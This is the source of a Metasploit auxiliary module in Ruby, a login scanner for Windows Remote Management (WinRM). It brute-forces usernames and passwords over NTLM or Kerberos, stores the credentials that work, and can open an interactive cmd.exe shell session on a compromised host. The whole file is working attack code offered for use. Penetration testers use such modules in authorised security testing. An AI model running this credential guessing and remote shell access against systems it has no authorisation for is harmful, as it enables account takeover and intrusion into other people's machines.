##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner'
require 'metasploit/framework/login_scanner/winrm'
require 'net/winrm/connection'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::WinRM
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::CommandShell
  include Msf::Auxiliary::Scanner
  include Msf::Exploit::Remote::Kerberos::Ticket::Storage
  include Msf::Sessions::CreateSessionOptions
  include Msf::Auxiliary::ReportSummary

  def initialize
    super(
      'Name' => 'WinRM Login Utility',
      'Description' => %q{
        This module attempts to authenticate to a WinRM service. It currently
        works only if the remote end allows Negotiate(NTLM) authentication.
        Kerberos is not currently supported.  Please note: in order to use this
        module without SSL, the 'AllowUnencrypted' winrm option must be set.
        Otherwise adjust the port and set the SSL options in the module as appropriate.
      },
      'Author' => [ 'thelightcosine', 'smashery' ],
      'References' => [
        [ 'CVE', '1999-0502'], # Weak password
        [ 'ATT&CK', Mitre::Attack::Technique::T1021_006_WINDOWS_REMOTE_MANAGEMENT ]
      ],
      'License' => MSF_LICENSE
    )
  end

  def run
    check_winrm_parameters
    super
  end

  def run_host(ip)
    cred_collection = build_credential_collection(
      realm: datastore['DOMAIN'],
      username: datastore['USERNAME'],
      password: datastore['PASSWORD']
    )

    kerberos_authenticator_factory = nil
    if datastore['Winrm::Auth'] == Msf::Exploit::Remote::AuthOption::KERBEROS
      kerberos_authenticator_factory = ->(username, password, realm) do
        Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::HTTP.new(
          host: datastore['DomainControllerRhost'],
          hostname: datastore['Winrm::Rhostname'],
          proxies: datastore['Proxies'],
          realm: realm,
          username: username,
          password: password,
          timeout: 20,
          framework: framework,
          framework_module: self,
          cache_file: datastore['Winrm::Krb5Ccname'].blank? ? nil : datastore['Winrm::Krb5Ccname'],
          mutual_auth: true,
          use_gss_checksum: true,
          ticket_storage: kerberos_ticket_storage,
          offered_etypes: Msf::Exploit::Remote::AuthOption.as_default_offered_etypes(datastore['Winrm::KrbOfferedEncryptionTypes']),
          clock_skew: kerberos_clock_skew_seconds
        )
      end
    end

    keep_connection_alive = datastore['CreateSession']

    scanner = Metasploit::Framework::LoginScanner::WinRM.new(
      configure_login_scanner(
        host: ip,
        port: rport,
        proxies: datastore['Proxies'],
        cred_details: cred_collection,
        stop_on_success: datastore['STOP_ON_SUCCESS'],
        bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
        connection_timeout: 10,
        framework: framework,
        framework_module: self,
        kerberos_authenticator_factory: kerberos_authenticator_factory,
        keep_connection_alive: keep_connection_alive
      )
    )

    scanner.scan! do |result|
      credential_data = result.to_h
      credential_data.merge!(
        module_fullname: fullname,
        workspace_id: myworkspace_id
      )
      if result.success?
        credential_core = create_credential(credential_data)
        credential_data[:core] = credential_core
        create_credential_login(credential_data)

        print_good "#{ip}:#{rport} - Login Successful: #{result.credential}"
        if datastore['CreateSession']
          http_client = result.connection
          rhost = result.host
          rport = result.port
          uri = datastore['URI']
          schema = result.service_name
          ssl = schema == 'https' # Can't trust the datastore value, because the scanner does some *magic* to set it for us
          endpoint = "#{schema}://#{rhost}:#{rport}#{uri}"
          conn = Net::MsfWinRM::RexWinRMConnection.new(
            {
              endpoint: endpoint,
              host: rhost,
              port: rport,
              proxies: datastore['Proxies'],
              uri: uri,
              ssl: ssl,
              user: result.credential.public,
              password: result.credential.private,
              transport: :rexhttp,
              no_ssl_peer_verification: true,
              operation_timeout: 1, # For the WinRM server
              timeout: 20, # For the underlying HTTP client
              retry_delay: 1,
              realm: result.credential.realm,
              http_client: http_client
            }
          )
          shell = conn.shell(:stdin, {})
          session_setup(shell, rhost, rport, endpoint)
        end
      else
        invalidate_login(credential_data)
        vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
      end
    end
  end

  def session_setup(shell, rhost, _rport, _endpoint)
    # We use cmd rather than powershell because powershell v3 on 2012 (and maybe earlier)
    # do not seem to pass us stdout/stderr.
    begin
      interactive_process_id = shell.send_command('cmd.exe')
    rescue WinRM::WinRMWSManFault => e
      case e.fault_code
      when ::WindowsError::Win32::ERROR_ACCESS_DENIED.value.to_s
        print_brute(level: :warn, rhost: rhost, msg: "Credentials were correct but access is denied for user: #{shell.connection_opts[:user]}")
        wlog(e.fault_description)
      else
        print_brute(level: :error, rhost: rhost, msg: e.fault_description)
        elog(e.full_message, error: e)
      end
      return
    end

    sess = Msf::Sessions::WinrmCommandShell.new(shell, interactive_process_id)
    sess.platform = 'windows'
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    info = "WinRM #{username}:#{password} (#{shell.owner})"
    merge_me = {
      'USERNAME' => username,
      'PASSWORD' => password
    }

    start_session(self, info, merge_me, false, nil, sess)
  end

  def start_session(obj, info, ds_merge, _crlf = false, _sock = nil, sess = nil)
    sess.set_from_exploit(obj)
    sess.info = info

    # Clean up the stored data
    sess.exploit_datastore.merge!(ds_merge)

    framework.sessions.register(sess)
    sess.process_autoruns(datastore)

    # Notify the framework that we have a new session opening up...
    # Don't let errant event handlers kill our session
    begin
      framework.events.on_session_open(sess)
    rescue ::Exception => e
      wlog("Exception in on_session_open event handler: #{e.class}: #{e}")
      wlog("Call Stack\n#{e.backtrace.join("\n")}")
    end

    sess
  end

  def test_request
    return winrm_wql_msg('Select Name,Status from Win32_Service')
  end
end
